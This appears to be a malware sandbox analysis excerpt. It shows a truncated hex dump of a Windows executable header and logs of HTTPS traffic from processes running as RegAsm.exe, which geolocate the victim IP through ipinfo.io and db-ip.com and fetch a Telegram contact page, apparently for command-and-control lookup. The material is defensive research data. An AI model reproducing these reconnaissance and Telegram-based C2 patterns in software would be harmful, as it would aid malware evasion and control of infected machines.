9b c6 f2 bd 9b 82 73 b8 9a 1c f2 bd 9b 82 73 be 9a 58 f2 bd 9b b3 70 b8 9a 41 f2 bd 9b b3 70 bf 9a 41 f2 bd 9b 52 69 63 68 40 f2 bd 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e7 de 7b 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 27 00 12 02 00 00 a2 05 00 00 00 00 00 e8 96 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 07 00 00 04 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$@@@QVsRG@ssXpApARich@PEL{f'0@@P!@0x.text `.BsSm `.rdataz0@@.data@.reloc!"@B

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49704	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:44:00 UTC	59	OUT	GET / HTTP/1.1 Host: ipinfo.io Connection: Keep-Alive
2024-06-27 04:44:00 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 27 Jun 2024 04:44:00 GMT content-type: application/json; charset=utf-8 Content-Length: 319 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-27 04:44:00 UTC	319	IN	Data Raw: 7b 0a 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 33 20 50 61 72 65 6e 74 2c 20 4c 4c 43 22 2c 0a 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 31 30 30 30 31 22 2c 0a 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 Data Ascii: { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level 3 Parent, LLC", "postal": "10001", "timezone": "

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	34.117.186.192	443	6556	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:44:13 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-27 04:44:13 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 27 Jun 2024 04:44:13 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-27 04:44:13 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-27 04:44:13 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49715	104.26.4.15	443	6556	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:44:14 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-27 04:44:14 UTC	655	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:44:14 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC46729A:8DE4_93878F2E:0050_667CEE1E_16088A25:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nXbhKelFfIl3370BDlsLiABwHkY8uHTPCoQTSpuSUDQIxlwbss6%2Fo6Ftsgw2e6rgpz4noLYQoEWjDD8C%2FwHNg542W3qD2TnYAQmUde6Suag1%2BnPCMNsdrTEdGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89a2c7de6fbc1a34-EWR alt-svc: h3=":443"; ma=86400
2024-06-27 04:44:14 UTC	673	IN	Data Raw: 32 39 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a 5b Data Ascii: 29a{"status":"ok","demoInfo":{"ipAddress":"8.46.123.33","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":[
2024-06-27 04:44:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49734	149.154.167.99	443	7316	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:44:28 UTC	84	OUT	GET /g067n HTTP/1.1 Host: t.me Connection: Keep-Alive Cache-Control: no-cache
2024-06-27 04:44:29 UTC	512	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 27 Jun 2024 04:44:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 12302 Connection: close Set-Cookie: stel_ssid=d4f8c3f66746aeeb85_14740716266744531909; expires=Fri, 28 Jun 2024 04:44:28 GMT; path=/; samesite=None; secure; HttpOnly Pragma: no-cache Cache-control: no-store X-Frame-Options: ALLOW-FROM https://web.telegram.org Content-Security-Policy: frame-ancestors https://web.telegram.org Strict-Transport-Security: max-age=35768000
2024-06-27 04:44:29 UTC	12302	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 65 6c 65 67 72 61 6d 3a 20 43 6f 6e 74 61 63 74 20 40 67 30 36 37 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 6e 75 6c 6c 26 26 77 69 6e 64 6f 77 21 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <title>Telegram: Contact @g067n</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <script>try{if(window.parent!=null&&window!=window.parent){window.parent.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49771	34.117.186.192	443	5240	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:46:34 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-27 04:46:34 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 27 Jun 2024 04:46:34 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-27 04:46:34 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-27 04:46:34 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49772	104.26.4.15	443	5240	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:46:35 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-27 04:46:35 UTC	651	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:46:35 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC467324:2C1C_93878F2E:0050_667CEEAB_15F4B9D3:7B63 x-iplb-instance: 59128 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9hNYBS51iiBnW4SOI0QGkbqUei621FeN0GzrJjGVnH0USDxG9IqvBfl8qAxpmtqqHB6Lo1SWAOhDZqNE%2FfNEvsIHbQ1ZDKXGfnuVDy3Rt97E42wcQUclhNps9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89a2cb4fdf177d08-EWR alt-svc: h3=":443"; ma=86400
2024-06-27 04:46:35 UTC	673	IN	Data Raw: 32 39 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a 5b Data Ascii: 29a{"status":"ok","demoInfo":{"ipAddress":"8.46.123.33","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":[
2024-06-27 04:46:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49773	34.117.186.192	443	7264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:46:44 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-27 04:46:44 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 27 Jun 2024 04:46:44 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 1 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-27 04:46:44 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-27 04:46:44 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.5	49774	34.117.186.192	443

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:46:44 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-06-27 04:46:44 UTC	514	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Thu, 27 Jun 2024 04:46:44 GMT content-type: application/json; charset=utf-8 Content-Length: 1025 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 2 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-06-27 04:46:44 UTC	876	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-06-27 04:46:44 UTC	149	IN	Data Raw: 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 40 61 75 70 2e 6c 75 6d 65 6e 2e 63 6f 6d 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 43 65 6e 74 75 72 79 6c 69 6e 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: email": "abuse@aup.lumen.com", "name": "Centurylink Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49775	104.26.4.15	443	7264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:46:44 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-27 04:46:45 UTC	653	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:46:45 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC466E7E:F180_93878F2E:0050_667CEEB5_1608A177:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=PLHFZNOoMj5nRVP2hM953V8OLP8maPq8ysAS%2FpQkuGQdwNKy5RNKzPYUg0gR1AqhCQ5jol71WQ77BzVswYN8Alue76uZnJVS%2FXMWRoXDuPg7RwqrVcXT57Pwbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89a2cb8af8b817e9-EWR alt-svc: h3=":443"; ma=86400
2024-06-27 04:46:45 UTC	85	IN	Data Raw: 34 66 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 65 72 72 6f 72 22 3a 22 6f 76 65 72 20 71 75 65 72 79 20 6c 69 6d 69 74 2c 20 70 6c 65 61 73 65 20 74 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 22 7d 7d 0d 0a Data Ascii: 4f{"status":"ok","demoInfo":{"error":"over query limit, please try again later"}}
2024-06-27 04:46:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.5	49776	104.26.4.15	443

Timestamp	Bytes transferred	Direction	Data
2024-06-27 04:46:44 UTC	260	OUT	GET /demo/home.php?s=8.46.123.33 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-06-27 04:46:45 UTC	653	IN	HTTP/1.1 200 OK Date: Thu, 27 Jun 2024 04:46:45 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: A29E9E51:99CA_93878F2E:0050_667CEEB4_1608A176:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZJe%2FqAVs2dwZRPIhD1BjAZ0frCpbkEucY6q78kHjELjTwtu4J7rpvWc5Z15qbiQsdUxHc%2FAbf2lFeOXFpKZhfhV69wrna4kMbLtVKXvfitaSdz9TdHFuWYNk9A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89a2cb8afa1f4222-EWR alt-svc: h3=":443"; ma=86400
2024-06-27 04:46:45 UTC	673	IN	Data Raw: 32 39 61 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a 5b Data Ascii: 29a{"status":"ok","demoInfo":{"ipAddress":"8.46.123.33","continentCode":"NA","continentName":"North 